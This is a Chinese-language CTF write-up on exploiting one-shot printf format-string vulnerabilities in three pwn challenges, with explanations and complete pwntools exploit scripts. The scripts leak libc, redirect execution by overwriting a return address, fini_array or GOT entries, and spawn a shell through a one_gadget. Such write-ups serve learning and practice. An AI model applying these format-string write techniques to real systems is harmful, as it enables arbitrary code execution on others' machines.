一次性格式化字符串
【2023 强网杯】ez_fmt
没开pie,开了 full Relro,改不了got和fini_array,也给了buf地址,栈上地址用偏移算
改printf_ret地址,绕过w==0xffff的限制,控制程序再次执行read 0x00401205 再次执行格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import * from pwnlib.util.packing import p64, u64, p32, u32
s = lambda data : io.send(data) sa = lambda delim, data : io.sendafter(delim,data) sl = lambda data : io.sendline(data) sla = lambda delim, data : io.sendlineafter(delim, data) r = lambda num=4096 : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() r64 = lambda : io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00') r32 = lambda : io.recvuntil(b'\x7f')[-4:] uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) leak = lambda name, value : info("{}:0x{:x}".format(name,value))
def debug(cmd=''): gdb.attach(io,cmd) pause()
def fmt(data1,data2): padding1 = b'' padding2 = b'' data2 = data2-data1 payload1 = b'%' + str(data1) + b'c' + padding1 + '%10$hn' if(len(payload1)<0x10): padding1 += b'a' * (0x10-len(payload1)) data1 -= len(padding1) payload1 = b'%' + str(data1) + b'c' + padding1 + '%10$hn' if(len(payload1)<0x10): padding1 += b'a' * (0x10-len(payload1)) payload1 = b'%' + str(data1) + b'c' + padding1 + '%10$hn'
payload2 = payload1 + b'%' + str(data2) + b'c' + padding2 + b'%11$hn' print(payload2) if(len(payload2)<0x20): padding2 += b'a' * (0x20-len(payload2)) data2 -= len(padding2) payload2 = payload1 + b'%' + str(data2) + b'c' + padding2 + b'%11$hn' if(len(payload2)<0x20): padding2 += b'a' * (0x20-len(payload2)) payload2 = payload1 + b'%' + str(data2) + b'c' + padding2 + b'%11$hn' payload2 += p64(ret_addr) + p64(ret_addr+2) return payload2
def pwn(): py1 = b'%4198917c%9$hn%19$paaaaa' + p64(printf_ret) s(py1) ru(b'0x') libc_base = int(r(12), 16) - libc.sym['__libc_start_main']-243 leak("libc_base" , libc_base) one_gadget = libc_base + 0xe3b01 py2 = fmt(one_gadget&0xffff,(one_gadget>>16)&0xffff) s(py2)
if __name__ == '__main__' : pwn_log_level = 'info' pwn_arch = 'amd64' pwn_os = 'linux' context(log_level=pwn_log_level, arch=pwn_arch, os=pwn_os) context.terminal = ['tmux','splitw','-h'] pwnfile = './ez_fmt' io = process(pwnfile) io = remote('47.104.24.40',1337)
elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile libc_name = './libc-2.31.so' libc = ELF(libc_name)
fini_arry = 0x0403DC0 main = elf.sym['main'] ru(b'0x') stack = int(r(12), 16) ret_addr = stack + 0x68 printf_ret = stack - 0x8 leak("print_ret",printf_ret) leak("ret_addr",ret_addr) pwn()
itr()
|
fmt
自己出的练手题 没开RELRO,直接打fini_array绕过一次性格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include<stdio.h>
int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0; }
void main(){ init_func(); char str[0x100]; printf("please input your payload:"); read(0, str, 0x100); printf(str); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * from pwnlib.util.packing import p64, u64, p32, u32
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda delim, data : io.sendafter(delim,data) sla = lambda delim, data : io.sendlineafter(delim, data) r = lambda num=4096 : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() r64 = lambda : io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00') r32 = lambda : io.recvuntil(b'\x7f')[-4:] uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) leak = lambda name, value : info("{}:0x{:x}".format(name,value))
def debug(cmd=''): gdb.attach(io,cmd) pause()
if __name__ == '__main__' : pwn_log_level = 'info' pwn_arch = 'amd64' pwn_os = 'linux' context(log_level=pwn_log_level, arch=pwn_arch, os=pwn_os) context.terminal = ['tmux','splitw','-h'] pwnfile = './fmt' io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) libc_name = './libc.so.6' libc = ELF(libc_name)
fini_arry = 0x0403198 main = 0x4011ff printf_got = elf.got['printf']
payload = b'%41$p--%43$paaaa' + fmtstr_payload(8, {fini_arry : main}, numbwritten=34) ru(b'payload:') io.sendline(payload) ru(b'0x') libc_base = int(r(12), 16) - 243 - libc.sym['__libc_start_main'] ru(b'0x') stack = int(r(12), 16) - 0x2f0 leak("libc_base", libc_base) leak("stack", stack)
one = 0xe3b01 + libc_base payload = fmtstr_payload(6, {stack:one}) ru(b'payload:') s(payload)
itr()
|
【DASCTF X HDCTF 2024 公开赛】签个到吧
非栈上一次性格式化字符串
远程环境:2.31-0ubuntu9.15
给了栈地址 以及0x100长度限制的格式化字符串
思路:改_exit_got为main地址同时泄露libc,然后再改exit_got为one_gadget,退出时执行one_gadget
如何修改got?
printf时的栈空间 利用rsp+8 处的连续指针 (fmtarg 看相对偏移括号里面的不用管)
利用二连指针修改任意地址值
但是下面的payload并不能成功修改got地址 貌似使用%x$定位的话不能在同一条链子上改两次 (test>exit_got) 没有将0x401030改成功
1 2
| payload1 = b'%' + str(exit_got).encode("utf-8") + b'c%7$ln' payload1 += b'%' + str(test-exit_got).encode("utf-8") + b'c%49$ln'
|
如果是修改不同链上则可以同时修改
1 2
| payload1 = b'%' + str(main).encode("utf-8") + b'c%7$ln' payload1 += b'%' + str(exit_got-main).encode("utf-8") + b'c%8$ln'
|
直接使用格式化字符作为占位符的话可以在一条链子上改两次
1 2
| payload1 = b'%' + str(exit_got-5).encode("utf-8") + b'c' + b'%c'*5 + b'%n' payload1 += b'%5c' + b'%c'*40 + b'%ln'
|
这样思路就明确了,先利用二连指针的第一个指针修改第二个指针指向exit_got,然后利用第二个指针修改exit_got地址为main函数地址
由于%hn只将打印出来字符的低二字节修改内存,所以打印出来的字符长度溢出时就能修改低二字节为任意值了
1 2
| payload1 = b'%' + str(exit_got-5).encode("utf-8") + b'c' + b'%c'*5 + b'%ln' payload1 += b'%' + str(0xd1fb).encode("utf-8") + b'c' + b'%c'*40 + b'%hn'
|
然后栈上还残留的指向exit_got指针来修改成为one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * from tw11ty import *
if __name__ == '__main__' : context.log_level = 'info' IPort = 'node5.buuoj.cn 29958' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
while(True): io = init(pwnfile, IPort, libc_name) exit_got = elf.got['_exit'] main = elf.sym['main']
ru(b'Gift addr: ') stack = int(r(12), 16) leak("stack", stack)
payload1 = b'%' + str(exit_got-5).encode("utf-8") + b'c' + b'%c'*5 + b'%ln' payload1 += b'%' + str(0xd1fb).encode("utf-8") + b'c' + b'%c'*40 + b'%hn' payload1 += b'-%17$p'
sla(b'Please leave your message: ', payload1) ru(b'0x') libc_base = int(r(12), 16) - 243 - libc.sym['__libc_start_main'] one_gadegt = [0xe3afe, 0xe3b01, 0xe3b04] one = libc_base + one_gadegt[1]
ori = one&0xffff ori1 = one>>16&0xffff ori2 = one>>32&0xffff ori3 = one&0xffffffff leak("one_gadet", one) print(hex(ori)) print(hex(ori1)) print(hex(ori2))
if(ori < ori1 or ori1 < ori2): log.failure("ori is too low...") io.close() continue else : payload2 = b'%' + str(exit_got+2-35).encode("utf-8") + b'c' + b'%c'*35 + b'%ln\x00' sla(b'Please leave your message: ', payload2)
payload3 = b'%' + str(exit_got+4-14).encode("utf-8") + b'c' + b'%c'*14 + b'%ln\x00' sla(b'Please leave your message: ', payload3)
payload4 = b'%' + str(ori2-38).encode("utf-8") + b'c' + b'%c'*38 + b'%hn' payload4 += b'%' + str(ori1-ori2-40).encode("utf-8") + b'c' + b'%c'*40 + b'%hn' payload4 += b'%' + str(ori-ori1-1).encode("utf-8") + b'c' + b'%c' + b'%hn' payload4 += b'\x00'
sla(b'Please leave your message: ', payload4) print(payload4) itr()
|
总结:
- 一次性格式化除非是给了backdoor或者libc基地址,否则一次性是很难打通的,当然不排除一些奇奇怪怪的题目。基本上只给了一个一次性格式化利用的话,都需要构造出第二次利用,无论是改got、fini_array、printf_ret、ret_addr。
- 栈上格式化字符串直接写地址改数据,非栈上格式化字符串改指针间接改数据
一些思考
有群u在群里请教了为什么不能用$符号定位使用两次,然后在一条链子上改两次,我在上面的das签到题里面有了些自己的测试,不过还是不如群里的大佬理解得透彻。
自己整理了一下.N1nEmAn师傅所说的原理:打格式化字符串时,使用$符号作为索引,会将栈的上下文保存到堆上,第一次使用$符号修改目标能正常修改栈上数据,但是堆上的数据没有变,而下次再使用$符号作为索引,会到堆里面去进行修改,而不是在栈上直接修改。这就是为什么不能在同一条链子上改两次。后面也有WJH师傅贴出的博客,里面是WJH师傅对printf的源码分析。这就是与大佬们学习的差距吗,再接再厉!